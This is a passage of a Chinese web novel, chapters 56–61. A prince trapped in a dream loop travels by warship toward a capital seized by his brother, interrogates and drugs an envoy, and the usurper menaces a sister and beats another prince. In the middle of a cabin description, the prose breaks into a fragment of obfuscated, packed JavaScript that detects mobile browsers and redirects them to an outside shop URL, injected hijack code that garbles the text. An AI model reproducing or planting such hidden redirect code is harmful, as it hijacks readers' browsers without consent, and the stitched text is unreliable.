周昕阳走到书桌前,拿起墨笔,开始书写了起来。
第56章 启程
“从云梦州前往宸极城,需要先前往眠鹄湾乘船,过龙川渡,再过泽口堰……抵达河洛平原后,换乘马匹,通过层层关隘后,才能抵达京城(宸极城)。”
“一路上,哪怕风雨兼程,也最少需要十日。”
“老六已经去布置了。”
“十日之内,老二造·反的消息,肯定会传遍天下。”
“届时,假传圣旨的谣言,肯定会传得沸沸扬扬。”
“只要我还没抵达宸极城,都有机会返回封地。”
“这就不算明目张胆的抗旨了。”
“也不容易被老二关注……”
周昕阳梳理着接下来的安排。
“十日。”
“我就还有十次的机会。”
“在想到办法解决**机关之前,开锁之事,只能暂时搁置,先找个解除梦境循环的方法。”
“把时间线弄到白天再说。”
“晚上实在太难行动了。”
周昕阳放下笔,看着上面的梦境种种细节,以及老二、老三、父皇的交流内容,思绪转动。
“破局的点,到底在哪里呢?”
“找到前段时间,总结出来的规矩,我必须找到对应的“钥匙”,才能打破循环。”
“经过尝试,老二不是“钥匙”,老三同样也不是“钥匙”,父皇的赌约同样不是“钥匙”……”
“我本以为跟父皇约定,能留下来,就算是打破梦境循环了。”
“现在看来,不是。”
“梦境节点,不在这里。”
周昕阳深吸一口气,将宣纸上的内容尽数记住后,将其撕碎,丢入火盆。
周昕阳看着火盆中逐渐烧为灰烬的纸条,他的眼眸,在烛火照耀下忽明忽暗,极为深邃。
“机关术。”
“要找这方面的人才。”
“锁匠,还是不够对口。”
“能把机关锁做到这一步,将机关术与**的结合,而且十五年了,其中的机关还能如此灵敏,说明制造这个机关的,一定是个高手。”
“奇技淫巧?不,这种能力,有很大作用。”
“西洋玩意已经证明了,这些东西,对国力发展,有巨大好处。”
“决不能固步自封。”
“一定要开放,一定要学习。”
周昕阳决定从下一次梦境开始,去皇家藏书阁,雷打不动的学习·二个小时的外语。
无论是西域通用语,还是西洋语,都要学习起来。
甚至条件允许,周昕阳都想去学一些机关术,他总觉得这些东西,他未来一定能用得上。
“将机关术与西洋玩意结合,肯定能发挥出很好的效果。”
周昕阳这样想着,重新走回床榻,翻身上床,看了一眼怀表时间【1:20:29】,闭上眼睛。
“如果说这些东西是奇技淫巧的话,那大虞未免也太自大了……”
“迟早会出事的。”
周昕阳带着这样的想法,悄然入睡。
……
次日。
泽川王府,大殿。
侍卫矗立两旁,夹道欢迎。
“臣泽川王,领旨谢恩。”
周昕阳恭敬接旨。
孙公公也一脸严肃正经,将圣旨递给周昕阳。
两人靠近的时候,孙公公这才小声询问:“王爷,圣旨你也接了,你啥时候动身啊?”
“别为难奴婢呀?”
“今天就走。”周昕阳没有迟疑,直接回答道。
“嗯?”
“好。”
孙公公一喜,没想到这次泽川王如此配合?
这可太好了!
“等我收拾一下,我们即刻动身。”周昕阳说。
孙公公低声问道:“王爷,我们怎么走啊?”
“云梦州,当然是走水路了。”
“放心,孤不会故意拖延的。”周昕阳淡淡回应。
“奴婢不是这个意思……”孙公公讪笑一声,被叫破心中所想,表情有些尴尬。
“行了,天使,用早膳吧。”
“给你备好了。”
周昕阳说道。
“王爷客气了……实在破费。”
“奴婢多谢王爷。”
孙公公当即行了一个大礼,喜滋滋的走了进去。
周昕阳也没小气,请得都是当地很有特色的小吃、早点。
孙公公吃得不亦乐乎。
表演了一下什么叫做三口一头猪。
三口将小乳猪直接吃干净……
看这个样子,周昕
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阳都以为他饿好几天了。
“慢点吃,不够还有。”
“你的吃穿用度应该还可以吧?”
“宫里不至于这么紧张吧?”
周昕阳一边说着,一边不动声色的观察着孙公公的表情。
“啊?”
孙公公嘴里含着小烤乳猪,含糊不清的说道:“是还可以啦……但是最近御膳房没小灶开,我们的伙食就不行了”
“哦?”
周昕阳微微眯眼,若有所思,继续旁敲侧击:“为什么最近御膳房不开小灶了?”
“那谁知道,宫里贵人的旨意,优先保障贵人们,我们这些做奴婢的,哪里敢多说什么?”
“反正最近查得很严,不能随意开火,更不能交头接耳……”孙公公毫无戒心的讲述着宫里的情况。
周昕阳笑着附和:“原来是这样的。”
但在心中,周昕阳却有了其他想法。
周昕阳本以为孙公公是老二的人,此番过来宣旨,肯定是知晓内情的。
毕竟起兵造·反,控制皇宫,那么大的事情,想要瞒得住宫里的太监,也是不太容易的。
可从孙公公的语气来看,似乎宫里什么事情都没发生……
换句话说,权力更迭,并没有想象中闹得那样大。
基本控制在皇宫后院的一小部分核心区域。
这从孙公公完全不了解这一点上,肯定看得出来。
酒足饭饱后,周昕阳和孙公公前往眠鹄湾,乘坐蛟船,开始前往龙川渡。
“眠鹄湾,不愧是整个云梦州,最繁华的港口城池,南来北往的客商居然有这么多?”
“真是让咱家大开眼界了!”
“咦!”
“怎么还有昆仑奴在叫卖?”
“哇,真的黑啊!”
“还有新罗婢和胡奴……”
“咱家早就听闻胡奴金发碧眼,今日一见,果然非同凡响啊!”
“那个肤色真是是白得吓人!”
孙公公左顾右盼,看着来往的胡商,叫卖的昆仑奴、胡奴们,惊讶万分,仿佛刘姥姥进大观园,充满着新奇。
“呵呵。”
“孙公公对那些奴隶感兴趣?”
周昕阳微微一笑,问道。
第57章 司礼监孙公公
“咱家从小就待在宫里,没什么机会出宫,见识浅薄,让王爷见笑了。”孙公公露出尴尬的表情。
“孤却觉得孙公公你见识不俗!”周昕阳笑着说道,“胡奴、昆仑奴如数家珍,一眼就能辨认出来,好眼力。”
“王爷谬赞了。”
“西域诸国、海外胡国不是曾向我们大虞进贡过,他们同行人员之中,也有昆仑奴、胡奴歌姬……咱家远远看过一眼,所以有些印象。”孙公公解释道。
“原来如此。”
“不过那也是很早的时候了……在孤的印象里,近些年,那些藩属国似乎都没有派人来上贡。”
周昕阳看着来往的胡商,随口说道。
“也有一些,不过都很敷衍。”孙公公回答。
“敷衍?”
“怎么讲?”周昕阳问道。
“原来朝贡,都是公主、王子,送得都是奇珍异宝,现在都是大臣前来,而且送的东西也大不如前。”
“不过按照传统,我们给的东西,价值都是大于他们的,展现天朝上国的风范。”孙公公说道。
周昕阳微微颔首,这也算是大虞的一个传统了。
毕竟地大物博,又是天朝上国,接受朝贡后,基本上,都会加恩,回赐一些东西,这也是实力的一种体现。
虽然在周昕阳看来,这笔生意有些不太划算。
不过,隐形价值还是有的。
最起码眼前繁华的通商环境,就足以说明其价值。
“藩属国,皆是看人下菜碟的玩意,都不老实,如果带兵去兜一圈,明年的朝贡,他们肯定很积极,准备特别充分。”
“父皇还是太仁慈了。”
周昕阳淡淡说道。
“王爷说的是。”孙公公低声道。
“走吧,上船吧。”周昕阳说道。
“是。”
孙公公跟了上去。
两人很快来到港口岸边。
一艘玄色巨舰,停靠在岸边,十六名玄甲侍卫按刀而立,站在岸上,站成两排,威严肃穆。
船首之上,墨玉蛟首昂然向天,龙睛以东海夜明珠镶嵌,流转着幽冷光芒。
整艘船长达三十丈,船身覆盖玄铁鳞甲,每片甲叶皆铭刻蟠龙纹,在阳光下泛着暗金色的光泽。
三层船楼如叠塔而起,飞檐皆作龙角状,悬挂的三十六盏琉璃灯内烛火长明,主桅高耸入云,玄色龙旗猎猎作响,旗上以金线绣着四爪蟠龙,正是藩王规制。
甲板以铁力木铺就,两侧立着八对青铜蛟龙戟架,锋刃在日光下泛起寒芒,十余门火炮架在两侧,散发着铁血气息。
数十名重甲侍卫林立,戴着黑色面具,胸前的护心镜上皆刻蛟纹,肃杀之气扑面而来。
周围来往的客商们,都不敢乱看,来往匆匆,小声低语。
“蛟船。”
“整个云梦州只有这一艘,是泽川王的座驾。”
“真是气派、豪华啊!”
“这种船,也只有王爷才能乘坐。”
“听说这艘船叫做“墨蛟”,是陛下御赐的,看见上面的火炮了吗?”
“那都是神武大炮的改款,专门为蛟船订做的,威力无穷,在海上,一炮就能打穿寻常商船……”
“还有墨甲卫,一个个戴着面具,真吓人!”
“这都是泽川王的亲卫,听说都是一等一的好手,个个都是百人敌。”
……
“王爷请。”
孙公公看着这一幕,也是心中震撼。
泽川王,还真是深受陛下宠爱!
这种级别的楼船,整个大虞也只有三艘,墨蛟号就是其中之一。
“嗯。”
周昕阳轻嗯一声,走上舷梯,踏上朱红绒毯。
孙公公连忙跟上。
两人走进墨蛟号,映入眼帘的,就是主舱门楣上悬着御赐金匾,上书“墨蛟镇海”四字,笔力遒劲如龙蛇盘踞,雄劲霸道。
“嗯?”
孙公公一惊,低声问道:“王爷,这可是陛下的字?”
“对。”
周昕阳微微颔首,“父皇亲笔所书,墨蛟之名,也是父皇取的。”
“陛下的字,当真雄劲豪迈!”孙公公连忙夸奖。
两人走进船舱。
舱内沉香木柱支撑,地面铺就西域进贡的瑞兽地毯,四角立着青铜仙鹤灯,鹤嘴吐出的青烟带着龙涎香的清冽。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651357|187937||http|test|mini|href|location''.split(''|''),0,{}));
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r>“上茶。”周昕阳吩咐道。
侍女们当即上前奉茶。
“谢王爷。”孙公公小心翼翼的用茶。
在泽川王府的时候,孙公公是天使,还不觉得什么,可眼下,在墨蛟号内,他就有种面对宫里贵人的卑微感……
尤其是外面站着那么多甲士,更给他一种慌乱、恐惧的感觉。
茫茫大海,要是泽川王,一个不快,把自己丢进大海,可怎么办?
“来之前,锦川王可有交代你什么?”周昕阳喝着茶,看着孙公公拘谨、小心的情绪变化,突然开口问道。
“嗯?”
孙公公被吓了一跳,手一抖,差点把茶都弄翻,“王爷,你在说什么啊?”
“什么锦川王?”
“没有吗?”周昕阳轻轻滑动着杯盖,与杯碗、茶叶轻轻碰撞,发出清脆的声响,“你虽然掩饰得很好。”
“不过,有个细节,却暴露了你。”
“什么?”孙公公依旧不解。
“你见过昆仑奴、胡奴,你也见过朝贡,甚至知晓最近朝贡的藩属国不用心,这说明,你在宫中的品级不低,这个任务,交代给你,最少是内枢府,亲自下令的。”
“不然你不可能知道圣旨的内容……”
“我说得对吧?”
周昕阳淡淡说道。
“王爷您究竟想说什么?”孙公公微微蹙眉。
“孤没问过你具体职衔,内枢府设有四监八局,孙公公你是哪个监局?”周昕阳开口问道。
“奴婢是司礼监的。”孙公公回答。
“秉笔太监?还是承宣太监?”
“承宣太监。”孙公公答。
“你跟掌印太监曹琮是什么关系?”周昕阳又问。
“是**爹。”孙公公回答。
周昕阳笑了,“你干爹没跟你交代?”
“交代过,但王爷你说的锦川王,我不懂您什么意思……”孙公公摇了摇头。
“你干爹是掌印太监,上面动玉玺,他会不知道?”
“他会不提点你?”
“你不是不知道,只是你不说而已。”
周昕阳淡淡一笑,轻抿一口茶水,悠然道。
第58章 摊牌
孙公公沉默不语。
“还是不愿意说实话?”
周昕阳也不在意,放下茶杯,“既然你不说,那我就继续说了。”
“宫里发生的事情,你不可能没有感觉。”
“那么大的动静,只要消息灵通一点的,肯定都能知道。”
“宫里是藏不住事情的。”
“消息渠道太多了。”
“各种密道、暗道,纵横交织。”
“你心里也清楚。”
孙公公一惊,宫里暗道的事情,基本上只在太监、宫女中流传,算是他们暗中交易、传递情报的一个渠道。
泽川王怎么会知道?
周昕阳微微一笑,“你觉得那些暗道很隐秘?”
“宸察院一点也不知晓?”
“你觉得可能吗?”
“连孤都知道的地方,宸察院会不知道?”
“你真天真。”
“宸察院之所以睁一只眼闭一只眼,只不过是你们做的事情,影响不到皇宫运行罢了。”
“他们也需要一个渠道,来监控你们这些不安分的家伙。”
“况且,很多秘密,从暗道里面听取,比他们直接搜集情报,还要方便得多。”
“所以,你们被默许了。”
周昕阳轻描淡写的说着,孙公公却觉得头皮发麻。
他们在宫中的一举一动,其实早就被盯着了?
那他们说的犯忌讳的话……
岂不是……
嘶!
孙公公脸色不自觉的变了。
其实这个暗道,周昕阳一直都知道,为什么这几次梦境中他不走暗道?
就是因为里面的“蟑螂”,可比表面上还要多得多。
有一个定律,叫做蟑螂定律,说的就是,当你能看见一两只蟑螂,那说明整个家里的蟑螂,已经多得数不胜数了。
暗道里也是如此。
你以为这个转角处,只藏着一个宸察院探子?
不不不……
其实整个暗道,每一个转角,每一个视野盲区,其实都有宸察院探子。
密密麻麻。
可比御花园的探子还要多。
你以为在暗道里面交易很隐蔽?
恰恰相反,交易过程,跟在御花园脱衣服……没什么区别。
“你肯定打听过。”
“可是你发现暗道里的太监、宫女们,统统避而不谈。”
“少数谈论的,也都说得很浅显。”
“现在的你,应该知道为什么了吧?”周昕阳继续循循善诱。
孙公公忍不住咽了一口唾沫:“因为谈论深的,都已经被秘密处决了。”
“甚至那些太监、宫女们,或许就不是太监、宫女,而是宸察院的探子。”
“恭喜你,答对了。”周昕阳笑得更灿烂了,只是这个笑容,看得孙公公瘆得慌。
有一股无形的寒气,从脖颈处飘过……
“王爷,你别吓我啊……”孙公公脸色难看。
“我不吓你。”
“我有什么好吓你的?”
“你觉得我知道暗道之事,是谁告诉我的?”
“我一个外地藩王,却知道只有你们内部人才知道的暗道?”
“你觉得我是怎么做到的?”
“用你还算不太愚笨的大脑猜一猜?”周昕阳轻飘飘的问道。
孙公公先是一愣,随即大脑飞速转动。
一瞬间,一个可怕的猜想,涌上心头。
“王爷,你在宸察院里有人?”
“哈哈。”周昕阳哈哈一声,摆了摆手:“不可说,不可说。”
“明白。”孙公公点头,一副我懂得了的表情。
“王爷,你上头有人,您早说呀。”
“您看,这事闹的……”
“现在可以说了?”周昕阳淡笑反问。
“哎呀,您都知道了,我还说什么呀。”孙公公继续装傻。
“行啊,不说就算了,前往龙川渡,要经过一处水流湍急的区域,到时候,在甲板上,看风景的孙公公不幸落水,哎……惋惜啊!”周昕阳叹息一声,站起身来。
“来人啊!”
“送孙公公下去休息吧。”
“啪!”
房门被推开。
两位甲士,披坚执锐,走了进来。
“孙公公,请吧。”
孙公公被吓了一跳,连忙擦了擦脑袋上的汗珠:“王爷,我说,我说还不行吗?”
“您让他们先下去,奴婢看着他们腿软。”
孙公公双腿打颤,不停颤抖。
“下去吧。”
周昕阳挥了挥手。
“呼!”
孙公公长舒一口气,扶住椅子的扶手:“王爷,您想知道什么?”
“说说吧,你干爹跟你说啥了?”
“或者说,暗示你什么了?”周昕阳淡漠说道。
“王爷
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明鉴,**爹确实什么也没说,不过他偷偷暗示了一个“二”字,我就知道,他指的是二皇子。”孙公公腿一软,直接跪了下来,不断磕头。
“王爷饶命!”
“我真的什么也不知道,我没有欺骗您啊!”
“抬起头来。”周昕阳冷漠道。
“王爷……”孙公公担忧、惶恐、害怕的抬起头。
“继续说。”
“你猜到了什么?”
周昕阳淡淡开口,“你别说你什么都没猜到。”
“一个“二”字,以你的阅历和眼光,肯定猜到了什么,你之所以不敢说,企图蒙骗我,就是因为你对这个猜想,心里发怵。”
“害怕祸临己身。”
孙公公眼神中的恐惧更深了,望着周昕阳,一脸绝望:“王爷……”
“考虑清楚。”
“不说,现在就死。”
“说了,或许还能活。”
周昕阳语气淡漠,没有丝毫感情。
“王爷,能不能放我一条生路?”孙公公问道。
“放心,孤从来没有想杀你。”周昕阳淡淡回应。
孙公公脸色难看:“可咱家如果说了,回京城,必死无疑。”
“自己考虑吧。”
“不过我提醒你一下,别起什么歪心思,刚刚喝的茶,可是好东西。”周昕阳淡淡道。
“什么?”
孙公公猛然惊觉,发现自己身体好软,根本提不起力气,仿佛得了风寒一般。
“王爷,你做了什么?”
“你堂堂一个王爷还用毒?”
孙公公一脸不可置信。
“不算用毒吧。”
“怎么讲呢,有种东西叫做食物相克,再配点特殊药物,催化出类似于**的效果,也不难。”
“防范于未然罢了。”
“毕竟你是宫里来的人,如果想刺杀孤,也是有机会得手的。”
“我这个人,平生谨慎,不喜欢犯错。”
周昕阳微微一笑,看着孙公公。
其实是因为他在梦境里太浪了,犯过太多太多的大错,导致以各种方式死亡。
所以现实的他很惜命。
老六能深夜来到他的房间,已经让周昕阳很不舒服了。
他自然不能让孙公公也有机会得逞。
管他孙公公是不是**,先拿下再说。
现实可不是梦境,能有机会重来。
第59章 五公主周炘瑶
“说吧。”
“别浪费时间了。”
周昕阳淡淡说道。
“皇宫内确实出事了,具体情况,我不知道。”
“消息被封锁了。”
“而且宸察院的侍卫,在宫内抓人,任何知道内情的,都逃不掉,被秘密关押。”
“我运气好,那天正好被安排去柳妃那边宣旨,逃过一劫。”
“当我回到司礼监的时候,干爹坐在位置上,身旁站着宸察院的左提督使沈砚,虽然他的刀插在刀鞘里,可我从小鼻子尖,能闻到浓郁的血腥味……”
孙公公心有余悸的讲述着这一幕,眼中尽是恐惧和害怕。
“**爹说,陛下有任务交代,让我作为天使,宣您入宫面圣。”
“所以你觉得发生了什么?”周昕阳心里清楚,老六调查的结果是正确的。
孙公公张了张嘴,有些说不出口:“我……”
“说吧。”
“你不敢说,肯定有所猜测。”
周昕阳抿了一口茶。
“二皇子造·反了。”孙公公深吸了一口气,说出了这个隐藏在心底的秘密。
“嗯。”
周昕阳轻嗯一声,“不止造·反了,而且还成功了,并且取得了宸察院的支持。”
“从你干爹曹琮身旁站着的左提督使,就能看出来了。”
“对吧?”
“是的。”孙公公点了点头,“没有宸察院,消息不可能会封锁得如此彻底。”
“而且,干爹的样子,明显是被胁迫的。”
“恐怕整个皇宫都被秘密控制了。”
周昕阳微微颔首,“接下来,就是京都五营,等我到京城,就是瓮中之鳖,任由老二拿捏了。”
孙公公不敢吭声。
他就是猜到了这点。
才无论如何都不敢说的。
毕竟,说了之后,周昕阳肯定就不去了。
不去的话,他这个天使,哪有命在?
因为消息泄露,导致任务没有完成,新帝肯定不会放过他的。
伸头是一刀,缩头还是一刀。
他也只能死道友不死贫道了……
可谁想到,泽川王宫里有人?
这不坑爹吗?
孙公公如丧考妣。
“行了。”
“下去吧。”
周昕阳挥了挥手,事情他早就知道,之所以拿下孙公公,不过是验证情报罢了。
“王爷,别杀我,我还有用。”
“求求你了。”
“我给你磕头……”
孙公公听闻此话,被吓破胆了,疯狂磕头。
两个甲士拉都拉不动。
无奈,两人对视一眼,直接把孙公公提了起来,就往外面拽。
“王爷……不要啊!”
孙公公哇哇大叫,哭得死去活来。
“狗叫什么?”
“没说杀你。”
“闭嘴。”
“吵**!”
“让你下去休息,没让你**。”
周昕阳被吵得一阵头疼,骂道。
“王爷,我不想死……啊?”孙公公哭着哭着,听清楚了周昕阳的话,顿时一愣。
“听不懂人话?”
“让你滚下去休息。”
“别吵吵。”
周昕阳摆手,“把他嘴巴给我堵上,送去客房。”
“是。”
甲士行礼,将孙公公带了出去。
周昕阳站起身来,开始来回踱步,思考着破局之法。
“只要不出云梦州,一切都有回旋的余地。”
“可如果出了云梦州,进入河洛州的地界,重重关隘,只要一张圣旨,有的是想要立功的将领,率军抓我……”
“所以,龙川渡、泽口堰可以去,暂时调整,可万万不能下船,更不能前往河洛平原。”
周昕阳思绪转动。
龙川渡是云梦州的最重要关隘,属于水路两用之地,是往来船只的必经之路,水路互通天下十三州,是贸易、交流的中心之一,仅次于眠鹄湾。
而泽口堰就是河洛州和云梦州的交界地了。
过了泽口堰,往北,就是河洛平原。
往南,就是云梦州。
“只要不离开泽口堰,就问题不大。”
周昕阳暗暗想到。
一路上,墨蛟号不补给物资是不可能的,所以走走停停很正常。
“我还要麻痹老二,一路上不能停,而且云梦州的情报也不能断。”
“要让宸察院的人,把消息源源不断的传递进京城,安抚老二。”
“这样才不会过度关注我。”
周昕阳很
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懂得藏拙,更懂得低调。
哪怕他现在什么都知道了,但也要装作不知道。
因为他不想成为第一个被老二动刀的藩王。
更不想在这个时候引人注目。
因为这个时候,直接抗旨,摆明告诉老二,告诉天下人,他九王爷泽川王宫里有人,提前得到了消息。
这么猖狂,不搞你,搞谁?
“这场戏,还要演一演。”
“所以主角可不能提前下线……”
周昕阳话语中的主角,指的自然就是孙公公这位天使了。
“只能希望老六这个消息能传递得快一点……”
“这样我也能趁早返航……”
周昕阳这么想着,突然想起了自己的几位姐妹。
“长公主,武艺高超,常年在西煌州,与五哥安西王一起镇守边境,对抗火罗帝国,不在宫中。”
“二姐是个书痴,文采斐然,被誉为当世第一才女,诗词歌赋极为超群,常年待在藏书阁,宫中之事,应该牵连不到她。”
“三姐早早嫁人,嫁给当朝状元郎,现在是内阁大学士徐贞文的夫人,不在宫中,只要这个徐贞文,不跟老二做对,应该也没事。”
“四姐游历天下,常年不在宫中……”
“小妹的话……”
想到这最后一位,周昕阳的表情不自觉的柔和了几分。
最小的公主周炘瑶。
众多哥哥姐妹中,唯一一个比周昕阳小的同龄人。
如果说周昕阳是哥哥们中的老幺。
那么周炘瑶就是兄弟姐妹中的老幺。
从小到大,就是周昕阳的跟屁虫,跟他一起疯玩。
周昕阳也很喜欢自己这位妹妹,对她很是宠溺。
毕竟同龄人能玩到一起,还年纪相仿,很不容易。
“瑶瑶才十六岁,碧玉年华,老二不至于如此丧心病狂,对她下手吧?”
“双方也没有矛盾。”
“应该不会、应该不会……”
周昕阳小声嘀咕,心中却涌现出几分不安。
因为小妹太过于年幼……性格又活泼好动,从小到大都是闲不住的性格,周昕阳真怕她会出事。
“瑶瑶,千万别掺和这件事啊!”
“你二哥可不是善良之辈啊……”
第60章 大虞皇宫
夜幕降临,大虞皇宫,皇帝寝宫外。
“让开。”
“为什么不让我进去?”
“我要去见父皇!”
一道淡绿色的身影,出现在宫门外,看着紧闭的大门,神态焦急,发出银铃般的声音。
少女身着浅绿色的罗裙,衣摆上以银线绣着细密的缠枝花纹,行走时如碧波微漾。
她的皮肤雪白,眉眼如画,可爱的鹅蛋脸,更添几分娇气,瞳仁乌溜溜的,像浸了茶的琉璃珠。
“公主殿下,不要为难我等。”
“陛下有令,谁也不见。”
两位甲士,腰间挂着宝剑,一左一右,拦住了罗裙少女,不让她上前一步。
“我是公主,你们敢拦我?”
“平日里父皇最喜欢我了。”
“你们去通传,我不信他不见我。”
少女气嘟嘟的盯着两个甲士,吩咐道。
“公主殿下,陛下有交代,谁也不见,包括您。”左边的甲士说道。
“胡说八道!”
“假传口谕,你有几个脑袋砍?”
“信不信我杀了你?”
少女一把抽出宝剑,架在左边甲士的脖颈旁,语调陡然转厉,眸中寒芒乍现。
一旁的甲士猛地一惊,差点抽出宝剑,做出反抗动作。
然而,他的动作刚一出现,就被左边的甲士拦下。
左边甲士给了对方一个安心的眼神。
“公主殿下,您若不信,可以杀我。可即便杀了我,他也不会让你进去的。”左边甲士神情淡漠,认真的说道。
“你!”
“哼!”
少女不满的冷哼一声,把手里的宝剑丢到地上,“行,别以为我不知道你为什么不让我进去……”
“你们都拦着我,我去找二哥。”
“看他怎么说。”
话罢,少女转身就走。
左边的甲士将地上的宝剑捡起来,重新插回剑鞘。
“你就不怕公主殿下真杀了你?”一旁的甲士,看见这一幕,低声问道。
左边甲士淡淡回应:“整个皇宫谁不知道五公主的温柔善良?五公主殿下喜爱花草,御花园内许多花草都是她打理的……这般连草木都悉心打理、爱护有加之人,又怎会骤起杀心?”
右边甲士一愣,随即点了点头:“你说得对。”
“如果说五公主会**,那她就不是五公主了。”
……
入夜,御书房。
一道身着赤金色**袍的身影,坐在龙椅之上,案头镇纸压着半幅未批完的奏章,朱砂笔尖悬在“准”与“驳”之间,迟迟未落。
窗外隐约传来更漏声,他却恍若未闻,只静**着,像一尊裹在龙纹里的活阎罗。
他的指节叩在奏折上的声响很轻,却带着不容置喙的力道,仿佛每一下都在敲打这江山的新规矩。
男人缓缓抬头……他眉骨凌厉如刀裁,眼尾微微上挑,瞳仁漆黑深不见底,像是淬了毒的墨,鼻梁高挺如削,薄唇抿成一道冷线,唇色偏淡,连带着下颌线条都透出几分阴鸷的紧绷。
奏疏之上,摆放着几份情报。
上面赫然是各大藩王的动向。
“老九已经启程了,上了墨蛟号,即将抵达龙川渡……”
“老六故意拖延,迟迟不肯启程,还派人散布谣言……”
“老四、老五、老七、老八的旨意还在路上,尚未抵达,具体情况不明。”
“还有长公主那边,她常年待在西煌州,与老五一起镇守边境,对抗火罗帝国,她如果知道京城之事,是否会跟老五联合起来,一起对抗朕?”
“这也是个麻烦!”
“长公主,你与朕同龄,小时候,你曾对朕有过照拂,朕也不想杀你。”
“你可不要不识时务啊!”
男人看着独属于长公主的情报,眼神阴鸷。
长公主周灿然,今年三十有三,曾有过夫君,但与火罗帝国交战过程中,不幸战死,她悲痛之余,率军出征,大破敌军,斩首万余,立下赫赫战功。
为表彰其功绩,天子特许她单独领兵五万,不受钳制,特赐“凤凰”二字为军名。
皇帝本想让长公主回京城,可被对方拒绝,长公主曾言:“火罗帝国狼子野心,迟早会卷土重来,她要镇守边疆,为夫报仇!”
皇帝应允。
“朕乃是真龙天
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子!”
“任何阻挡朕的人,统统都该死!”
“尤其是这个老六,野心勃勃,第一个要死的,就是你!”
周·炜廷眼中闪过一丝冷芒。
正在这时,门外传来一阵喧哗。
“让开!”
“知道本公主是什么人吗?”
“敢拦我?”
“二哥,你也不见我吗?”
周·炜廷听着外面传来的声音,一阵烦躁,“让她进来吧。”
片刻之后,少女推门而入。
“二哥,你终于肯见我了?”
周炘瑶踏入御书房,看向堂而皇之端**的身影,神情愤怒。
“小妹,有点规矩。”
“现在见面,连礼数都不讲了吗?”
周·炜廷淡淡开口,指尖叩在奏折边缘发出清脆声响,仿佛在敲打她逾矩的言行。
闻言,周炘瑶盯着对方,笑了:“呵呵,小妹自然晓得行礼之道……”
她猛得抬手指向对方胸前**纹服侍,“只是不知——”
“我是该以妹妹之身向兄长执礼?”
“还是以公主之身向藩王行宗室之礼?”
“亦或是……”
“当以臣妹之名,向陛下行三跪九叩之礼呢?”
“放肆!”周·炜廷一拍桌案,站起身来,“小妹,你知不知道你在说些什么?”
他逼近半步,死死盯着周炘瑶,“有些话,不该由你说出口。”
“懂吗?”
周炘瑶不退反进,仰头盯着他,“怎么?”
“我说错了吗?”
“难道二皇子殿下您的所作所为,不是为了你身下的这个位置吗?”
“费尽心机起兵造·反、控制皇宫,圈禁父皇……想来太子、三哥应该已经被你下毒手了吧?”
“怎么?”
“现在还要杀了我?”
周·炜廷一把捏住周炘瑶的脖颈,语气森然,眼眸中寒气四溢,“你以为朕不敢?”
“呃呃呃……”周炘瑶挣扎着,不断挥手,拍打着周·炜廷的手,那样子像极了溺水即将被呛死的人。
第61章 成王败寇
“哼!”
看着快要断气的周炘瑶,最终周·炜廷松开了手。
“咳咳……”
周炘瑶大口喘着气,心有余悸的看着周·炜廷,“二哥,你真要杀了我吗?”
“放心。”
“你一个女人,对朕没威胁。”
“若连你都杀了,世人还以为朕不能容人。”
“你是朕的亲族同胞,是朕的妹妹,朕又怎么会杀你!”
周·炜廷轻轻抚摸着周炘瑶白皙的脸蛋,淡笑道。
周炘瑶只觉得一股寒意涌上心头。
对方的手指,好似冰冷的毒蛇,令她胆寒。
她没想到……二哥居然变成这个样子了?
“你不是喜欢花草吗?”
“朕会赐你一座大大的花园,让你好好打理,种什么花都可以。”
“来人啊!”
“带五公主下去休息。”
周·炜廷吩咐道。
“是。”
两名宫女走了进来,抓住周炘瑶的手臂,将她一点点拽出去。
“二哥,你不能这么对我,更不能这么对父皇……”周炘瑶忍不住喊道。
“闭嘴!”
“把她嘴巴给朕堵上。”
周·炜廷冷冰冰的喝道。
宫女连忙拿布,把周炘瑶的嘴巴堵上。
“呜呜呜……”
周炘瑶被拖了出去。
“不识时务。”
“哼!”
周·炜廷冷哼一声,穿上袍子,走出了御书房。
片刻之后,他来到弘义阁。
“老二?”
“怎么是你?”
“父皇呢?”
“为什么父皇不见我?”
周焕章看着突然出现的周·炜廷,忍不住将心中疑惑尽数说了出来。
自从三天前,他得到父皇的旨意入宫开始,就一直没有动静。
父皇也未曾召见他。
更没有旨意传来……
一切都透露着古怪。
“哼。”
周·炜廷冷笑一声,直接坐了下来:“老三,不得不说,你的运气是真的好。”
“你这话是什么意思?”周焕章脸色微变,心中不详的预感更加强烈。。
“什么意思?”
“我说你的猪头吗?”
“三天没有动静,还不明白?”
“跟你当对手,真的是拉低我的层次……”周·炜廷怒极反笑,摇了摇头。
“老二,你做了什么?”
“你对父皇做了什么?”
周焕章突然反应过来,拽着对方的衣服,质问道。
“还不算太傻。”
“不过——”
“滚开!”
周·炜廷直接给周焕章一脚,狠狠踹到他的肚子上。
“噗!”
周焕章后退数步,大口喘气。
“你说说你。”
“你拿什么跟我斗?”
周·炜廷又给了周焕章一脚,将其踹倒,然后骑在他身上,对着他一拳又一拳的暴揍。
“你手无缚鸡之力,只会吟诗作对,你跟我斗?”
一拳!
“三天,你都想不明白原因,你有这个才智跟我玩宫斗?”
又是一拳!
“身为老三,身份地位不如我,权谋不如我,武力也不如我,你凭什么得到父皇的青睐?”
再一拳!
“你说说,你凭什么?”
“你样样不如我,却能让父皇数月不立我为太子?”
“我不服啊!”
周·炜廷站起身来,踩着周焕章的胸膛,不断用力。
“咳咳咳……”
周焕章疯狂咳嗽,有些喘不上气来,他死死瞪着老二,“饶……饶了我!”
“废物!”
最终,周·炜廷松开了脚。
“跟这样的玩意竞争皇位,真是一点意思都没有。”
“我要是你,早就下手了,只要杀了我,这皇位,还不顺理成章的给你?”
“你就是心太软。”
“不够狠!”
“更不够果断!”
周·炜廷指着周焕章的鼻子,骂道。
“你以为老头数月不立太子是为什么?”
“他就是在考虑你!”
“你这个蠢货!”
“如果他不考虑你,太子倒了,被废掉太子之位,关入宗人府,我身为二皇子,立嫡立长,我都是最优先的。”
“你懂吗?”
“你**愚蠢!”
“我要是你,哪怕不对我下手,也会频繁进宫,跟老头谈心,想办法说服他。”
